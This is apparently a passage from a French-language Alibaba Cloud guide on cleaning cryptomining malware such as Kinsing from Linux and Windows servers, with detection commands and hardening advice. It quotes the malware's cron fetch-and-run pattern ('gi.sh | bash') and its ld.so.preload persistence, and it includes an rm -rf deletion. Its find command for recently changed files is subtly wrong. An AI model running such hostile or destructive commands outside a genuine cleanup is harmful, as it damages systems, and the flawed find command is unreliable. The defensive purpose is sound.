    rm -rf ~/.configrc5

Famille de logiciels de minage kinsing

  1. Exécutez la commande suivante pour vérifier les tâches planifiées cron. Recherchez un contenu similaire à gi.sh | bash > /dev/null. S'il existe, supprimez cette ligne.

    grep -r "gi.sh | bash > /dev/null" /etc/cron*
    grep -r "gi.sh | bash > /dev/null" /var/spool/cron/*
  2. Exécutez la commande suivante pour vérifier si le service /lib/systemd/system/bot.service existe.

    cat /lib/systemd/system/bot.service 
  3. Si le service existe, exécutez la commande suivante pour vérifier la présence du fichier libsystem.so dans /etc/ld.so.preload.

    cat /etc/ld.so.preload
  4. Après avoir localisé le chemin du fichier libsystem.so, supprimez le fichier.

Systèmes Windows

  1. Dans PowerShell, exécutez la commande suivante pour rechercher les processus de minage de cryptomonnaie suspects en fonction de l'utilisation du CPU.

    Remarque
     ps | sort -des cpu
     While(1) {ps | sort -des cpu | select -f 15 | ft -a; sleep 1; cls}
  2. Exécutez la commande suivante pour afficher le chemin de l'exécutable et les arguments de ligne de commande du processus de minage.

    Remarque
    wmic process where processid=xxx get processid,executablepath,commandline,name     // xxx is the process PID
  3. Arrêtez le processus de minage et nettoyez le fichier Trojan.

  4. Exécutez la commande suivante pour vérifier les connexions sur les ports réseau suspects.

    Remarque
    netstat -ano | findstr xxx            // xxx is the suspicious network port
  5. Exécutez la commande suivante pour vérifier si le fichier hosts du serveur contient l'adresse du pool de minage du programme de minage.

    Remarque
    type  C:\Windows\System32\drivers\etc\hosts
  6. Exécutez la commande suivante pour vérifier les tâches planifiées définies par le programme de minage.

    Remarque
    schtasks /query

Réinitialiser le système

Si le virus a profondément infiltré le système, si le problème réapparaît après un nettoyage manuel ou si le serveur ne contient pas de données commerciales critiques, nous vous recommandons cette option. Nous vous conseillons vivement de sauvegarder les données importantes avant de réinitialiser le système du serveur afin de garantir une élimination complète du programme de minage.

  1. Créez des snapshots pour sauvegarder les données importantes du serveur. Pour plus d'informations, consultez la rubrique Créer un snapshot pour un disque.

  2. Réinitialisez le disque système : dans la console ECS, sélectionnez l'instance cible et effectuez l'opération Re-initialize System Disk. Cette action efface complètement le disque système et le restaure à son état initial. Pour plus d'informations, consultez la rubrique Réinitialiser un disque système (réinitialiser un système d'exploitation).

  3. Utilisez un snapshot pour créer un nouveau cloud disk. Pour plus d'informations, consultez la rubrique Créer un disque à partir d'un snapshot.

  4. Attachez le cloud disk au serveur dont le système a été réinstallé. Pour plus d'informations, consultez la rubrique Attacher un disque de données.

  5. Connectez-vous au serveur et copiez uniquement les données commerciales (telles que le code du site web et les fichiers de base de données) depuis le disque de données attaché.

    Important

    Ne restaurez aucun fichier exécutable, fichier de configuration système ou script à partir de l'ancien snapshot afin d'éviter la réintroduction de portes dérobées.

Acheter un service de réponse d'urgence

Alibaba Cloud propose un service de réponse d'urgence où des ingénieurs en sécurité professionnels peuvent vous aider à résoudre des problèmes tels que les infections virales. Le service comprend les éléments suivants :

  • Nettoyage complet des chevaux de Troie, virus, comptes anormaux, fichiers anormaux, webshells, liens cachés et autres problèmes dans votre système.

  • Analyse des méthodes d'intrusion de l'attaquant pour déterminer la cause racine.

  • Conseils sur le durcissement de la sécurité.

Pour plus d'informations, consultez la rubrique Service de réponse d'urgence.

Vérifier la correction

Après le nettoyage, vous devez vérifier les résultats et durcir le système pour garantir la sécurité et prévenir toute réinfection.

  1. Nouvelle analyse : utilisez la fonctionnalité Antivirus ou Agentless Detection dans Security Center pour effectuer une analyse complète du serveur et confirmer l'absence d'alertes.

  2. Surveiller les performances : surveillez en continu l'utilisation du CPU du serveur pour confirmer qu'elle est revenue à un niveau normal.

  3. Vérifier avec des analyses périodiques : une seule analyse réussie ne garantit pas que la porte dérobée est entièrement supprimée. Certaines portes dérobées de minage résiduelles sont redéployées par une tâche planifiée ou un processus daemon après le nettoyage initial. Configurez une tâche récurrente Antivirus ou Agentless Detection dans Security Center, et continuez à observer plusieurs cycles d'analyse consécutifs après le nettoyage. Confirmez que la porte dérobée est supprimée uniquement lorsque chaque cycle de cette fenêtre ne signale aucune alerte liée au minage de cryptomonnaie.

  4. Vérifier en surveillant les alertes : continuez à consulter la page Detection and Response > Security Events dans Security Center pour les alertes liées au minage de cryptomonnaie, aux processus malveillants et à la persistance. Si aucune alerte de ce type ne réapparaît pendant un certain temps après le nettoyage, la porte dérobée n'a pas été réactivée. Si le même type d'alerte réapparaît, un mécanisme de persistance tel qu'une tâche planifiée, un élément de démarrage ou une clé publique SSH peut encore être présent. Dans ce cas, revenez aux étapes de nettoyage manuel pour approfondir l'enquête.

  5. Vérifier les vulnérabilités associées : les programmes de minage de cryptomonnaie sont généralement implantés via une vulnérabilité système ou applicative. Si le point d'entrée de l'intrusion n'est pas corrigé, le serveur peut être réinfecté après le nettoyage. Utilisez la fonctionnalité de balayage des vulnérabilités dans Security Center pour confirmer que la vulnérabilité exploitée lors de cette intrusion a été corrigée, afin que le programme de minage ne puisse pas être réimplanté après la suppression de la porte dérobée.

  6. Gérer les alertes dont le chemin de fichier n'existe pas : si le chemin de fichier spécifié dans un e-mail d'alerte n'existe pas sur le serveur et que la charge CPU est normale, vous pouvez Ignorer l'alerte ou la marquer comme Traité dans la liste des événements de sécurité. Connectez-vous à la console Security Center, choisissez Detection and Response > Security Events, trouvez l'alerte et sélectionnez Ignore ou Handled dans la colonne Actions. Après avoir terminé l'opération, vérifiez si de nouvelles alertes sont générées. Si aucune nouvelle alerte n'apparaît, vous pouvez ignorer l'alerte en toute sécurité.

Durcissement de la sécurité

  • Activer la défense proactive contre les comportements malveillants de l'hôte : la fonctionnalité de défense proactive fournie par Security Center peut intercepter avec précision les programmes de minage de cryptomonnaie, empêchant ainsi les incidents de minage avant qu'ils ne se produisent. Pour plus d'informations, consultez la rubrique Défense proactive.

  • Renforcer le contrôle d'accès :

    • Appliquer le principe du moindre privilège aux groupes de sécurité : configurez le groupe de sécurité ECS pour n'ouvrir que les ports commerciaux nécessaires (tels que 80 et 443). Pour les ports de gestion comme SSH (22) et RDP (3389), assurez-vous qu'ils ne sont ouverts qu'à des adresses IP fixes et de confiance (telles que votre réseau de bureau ou l'IP d'un hôte bastion).

    • Politique de mot de passe : configurez des mots de passe forts pour les systèmes de base de données ou de fichiers (MySQL, PolarDB, MaxCompute, Redis, NAS, OSS), les consoles de gestion de services (telles que BT-Panel, Nacos) et les comptes d'utilisateurs du système d'exploitation (SSH, RDP). Limitez le nombre de tentatives de mot de passe incorrectes pour prévenir les intrusions par force brute.

  • Gestion des vulnérabilités et des correctifs :

    • Mettre à jour rapidement : appliquez régulièrement les derniers correctifs de sécurité à votre système d'exploitation et à vos logiciels applicatifs (tels que les serveurs web et les bases de données).

    • Balayage des vulnérabilités : utilisez la fonctionnalité de balayage des vulnérabilités dans Security Center pour découvrir et corriger proactivement les vulnérabilités de votre système et de vos applications.

  • Durcir la sécurité des applications : avant de déployer le code commercial, effectuez des tests de sécurité du code ou intégrez un pare-feu d'application web pour vous défendre contre les attaques OWASP courantes telles que l'injection SQL, le XSS, les vulnérabilités courantes des plugins de serveurs web, les téléchargements de chevaux de Troie et l'accès non autorisé aux ressources principales. Cela permet d'éviter la compromission du système via des vulnérabilités applicatives.

  • Sécurité des identifiants : évitez d'intégrer en dur les AccessKeys Alibaba Cloud dans votre code ou vos fichiers de configuration. Utilisez des rôles RAM ou des rôles RAM d'instance pour accorder des autorisations aux applications, en suivant le principe du moindre privilège. Pour plus d'informations, consultez la rubrique Utiliser les identifiants en toute sécurité.

  • Récupérer les fichiers de configuration d'application altérés : en plus de consommer des ressources CPU, un programme de minage de cryptomonnaie peut altérer les fichiers de configuration d'application sur le serveur, tels que les fichiers RocketMQ .properties ou Nginx .conf, provoquant des anomalies de service ou l'implantation d'une porte dérobée persistante.

    1. Trouver les fichiers de configuration récemment modifiés : exécutez la commande suivante pour trouver les fichiers de configuration modifiés récemment. Effectuez la recherche par plusieurs extensions, pas seulement .conf, car des applications telles que RocketMQ utilisent le format .properties.

      find / -name '*.conf' -o -name '*.properties' -o -name '*.xml' -o -name '*.yml' -mtime -3
      Remarque

      Ne recherchez pas uniquement les fichiers .conf. Des applications telles que RocketMQ utilisent des fichiers de configuration au format .properties, et une recherche limitée aux fichiers .conf les manquerait.

    2. Créer une sauvegarde par snapshot : avant de restaurer un fichier de configuration, créez une sauvegarde par snapshot de l'instance ECS, car une configuration incorrecte peut empêcher le démarrage de l'application. Pour plus d'informations, consultez la rubrique Créer un snapshot pour un disque.

    3. Restaurer les fichiers de configuration : restaurez les fichiers de configuration altérés à partir du snapshot ou d'une autre sauvegarde de confiance, et vérifiez que le contenu du fichier a été restauré à la configuration d'origine.

    4. Redémarrer le service et vérifier : après la restauration, redémarrez le service affecté (par exemple, exécutez mqshutdown ou mqshutdownsrv pour redémarrer RocketMQ) et vérifiez que le service fonctionne normalement.